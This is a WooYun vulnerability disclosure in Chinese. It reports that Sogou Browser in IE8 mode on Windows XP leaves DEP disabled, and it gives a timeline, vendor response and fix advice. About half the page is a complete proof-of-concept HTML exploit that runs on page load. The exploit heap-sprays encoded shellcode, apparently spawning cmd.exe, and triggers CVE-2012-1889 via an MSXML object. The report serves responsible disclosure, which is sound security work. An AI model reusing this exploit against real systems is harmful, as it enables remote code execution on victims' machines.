当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122502

漏洞标题:搜狗浏览器数据执行保护漏洞导致任意代码可执行

相关厂商:搜狗

漏洞作者: 路人甲

提交时间:2015-06-24 16:47

修复时间:2015-09-24 17:10

公开时间:2015-09-24 17:10

漏洞类型:远程代码执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-24: 细节已通知厂商并且等待厂商处理中
2015-06-26: 厂商已经确认,细节仅向厂商公开
2015-06-29: 细节向第三方安全合作伙伴开放
2015-08-20: 细节向核心白帽子及相关领域专家公开
2015-08-30: 细节向普通白帽子公开
2015-09-09: 细节向实习白帽子公开
2015-09-24: 细节向公众公开

简要描述:

微软在IE8及更高版本IE上,都已经强制打开了DEP。
而搜狗浏览器在安装了IE8的机器上,当使用IE内核打开网页时,DEP开启策略却存在问题,使得攻击者利用漏洞的成本大大降低,无需使用ROP、地址泄漏等高级手段,即可轻易实现shellcode在数据空间的随意执行。

详细说明:

系统版本:windows xp sp3,IE8,未打补丁
使用NDay: CVE-2012-1889
通过IE打开该poc,由于IE8默认开启了DEP,所以会崩溃。但在SogouExplorer里能够成功执行shellcode,无需使用ROP绕过DEP

mode.png


攻击效果:

exp.png

漏洞证明:

<html>
<meta http-equiv="Cache-Control" content="no-cache"/>
<head>
<script>
var arr = new Array();
function Alloc(str, bytes)
{
while(str.length < bytes/2)
{
str += str;
}

return str.substring(0, (bytes-0x1026)/2);
}
function Spray()
{
var head = "\u180c\u0fe8\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u1828\u0fe8";
var blockBytes = 0x1000;
var shellcode = "\u9090\uec8b\uec81\u0100\u0000\ua164\u0030\u0000\u588b\u8b08\u81f3\ua0c6\u04e1\u8b00\u8936\u08b5\uffff\u64ff\u30a1\u0000\u8b00\u0c58\u438b\u8b0c\u8b00\u8b00\u1858\u45c7\u57b0\u6e69\uc745\ub445\u6578\u0063\u758d\u56b0\uff53\u0895\uffff\u89ff\u0c85\uffff\uc7ff\uc445\u6d63\u2e64\u45c7\u65c8\u6578\u6a00\u8d01\uc475\uff56\u0c95\uffff\u00ff";

var padding = "\u9090\u9090";
while(padding.length < blockBytes/2)
{
padding = padding + padding;
}

var block = padding.substring(0, 0x3f2) + head + shellcode + padding.substring(0, blockBytes/2 - 0x3f2 - head.length - shellcode.length);

var large = Alloc(block, 0x100000);

for(var k = 0; k < 200; ++k)
{
arr[k] = large.substring(0, large.length);
}
}

function call()
{
Spray();
var obj = document.getElementById('poc').object;
var src = unescape("%u1808%u0fe8");
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(0);
}
</script>
</head>
<body onload='call();'>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
</body>
</html>

修复方案:

在二进制编译阶段,为自身的所有进程强制开启DEP选项。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-06-26 17:09

厂商回复:

感谢支持!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-26 17:18 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    分数真高